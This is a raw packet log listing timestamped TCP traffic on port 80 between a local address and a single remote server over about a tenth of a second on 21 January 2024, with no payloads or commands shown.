Jan 21, 2024 17:12:00.934881926 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.943864107 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.944053888 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.944067955 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.944082022 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.944096088 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.944118023 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.944159031 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.944200993 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.944214106 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.944256067 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.944267035 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.944279909 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.944292068 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.944308996 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.944336891 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.945130110 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.945146084 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.945158005 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.945173025 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.945188999 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.945190907 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.945216894 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.945952892 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.945966959 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.945977926 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.945991039 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.946001053 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.946002960 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.946036100 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.946050882 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.946799040 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.946811914 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.946822882 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.946835995 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.946849108 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.946851015 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.946880102 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.947510958 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.947562933 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.947593927 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.947607994 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.947619915 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.947638035 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.947649956 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.947679996 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.948457956 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.948471069 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.948482037 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.948494911 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.948508978 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.948517084 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.948534966 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.949285030 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.949296951 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.949320078 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.949332952 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.949335098 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.949348927 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.949361086 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.949392080 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.950071096 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.950084925 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.950145960 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.956706047 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.956718922 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.956731081 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.956743956 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.956756115 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.956964970 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.956964970 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.957130909 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.957143068 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.957154989 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.957165956 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.957176924 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.957190037 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.957190037 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.957227945 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.957856894 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.957953930 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.957967043 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.957978010 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.957990885 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.958002090 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.958024979 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.958702087 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.958714008 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.958725929 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.958739996 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.958753109 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.958754063 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.958767891 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.958792925 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.959585905 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.959599018 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.959609985 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.959624052 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.959635019 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.959636927 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.959670067 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.960339069 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.960352898 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.960387945 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.960427046 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.960447073 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.960458994 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.960474968 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.960503101 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.961196899 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.961275101 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.961287975 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.961299896 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.961313009 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.961319923 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.961335897 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.962029934 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.962078094 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.962105036 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.962117910 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.962130070 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.962143898 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.962152004 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.962193012 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.962852955 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.962866068 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.962898970 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.962912083 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.962917089 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.962925911 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.962968111 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.963738918 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.963752985 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.963767052 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.963778973 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.963782072 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.963793039 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.963814974 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.963840961 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.964498997 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.964567900 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.964586973 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.964600086 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.964612961 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.964613914 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.964639902 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.965328932 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.965373039 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.965398073 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.965411901 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.965424061 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.965435982 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.965446949 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.965481997 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.970927000 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.970940113 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.970951080 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.970963001 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.970974922 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.971107006 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.971107006 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.971225977 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.971270084 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.971286058 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.971298933 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.971323013 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.971334934 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.971335888 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.971374035 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.972059965 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.972126007 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.972140074 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.972151995 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.972166061 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.972172022 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.972193003 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.972882032 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.972929955 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.972955942 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.972970009 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.972981930 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.972995043 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.973011971 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.973031044 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.982170105 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.982182980 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.982188940 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.982245922 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.999742985 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.999757051 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.000032902 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.011516094 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.011528969 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.011539936 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.011552095 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.011570930 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.011671066 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.011672020 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.011672020 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.011852980 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.011867046 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.011879921 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.011892080 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.011905909 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.011908054 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.011931896 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.023828983 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.023879051 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.023897886 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.023912907 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.023925066 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.023938894 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.023952007 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.023984909 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.024233103 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.024246931 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.024287939 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.024295092 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.024308920 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.024321079 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.024341106 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.025132895 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.025146961 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.025158882 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.025171995 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.025178909 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.025186062 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.025208950 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.025238991 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.036577940 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.036592960 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.036604881 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.036617041 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.036639929 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.036659002 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.036667109 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.036881924 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.036922932 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.037033081 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.037046909 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.037060022 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.037072897 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.037089109 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.037090063 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.037117004 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.038146973 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.038161039 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.038172960 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.038186073 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.038188934 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.038199902 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.038213015 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.038249016 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.038765907 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.038779020 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.038793087 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.038805962 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.038819075 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.038826942 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.038851976 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.049420118 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.049433947 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.049446106 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.049458027 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.049472094 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.049485922 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.049535990 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.049834967 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.049849033 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.049861908 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.049874067 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.049894094 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.049900055 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.049937010 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.050690889 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.050704956 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.050715923 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.050729036 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.050736904 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.050741911 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.050772905 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.050800085 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.051480055 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.051493883 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.051506042 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.051520109 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.051533937 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.051537991 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.051558971 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.052239895 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.052295923 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.052326918 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.052340031 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.052351952 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.052364111 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.052380085 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.052407026 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.053061962 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.053160906 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.053174019 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.053185940 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.053199053 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.053203106 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.053220034 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.062195063 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.062208891 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.062221050 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.062232971 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.062246084 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.062257051 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.062282085 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.062315941 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.062498093 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.062609911 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.062623024 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.062635899 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.062647104 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.062649965 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.062669992 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.062671900 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.062709093 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.063447952 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.063461065 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.063472986 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.063486099 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.063498974 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.063504934 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.063524008 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.064248085 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.064260960 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.064273119 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.064285994 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.064292908 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.064301014 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.064308882 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.064352989 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.065061092 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.065074921 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.065088034 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.065124989 CET	49700	80	192.168.2.6	104.21.23.90
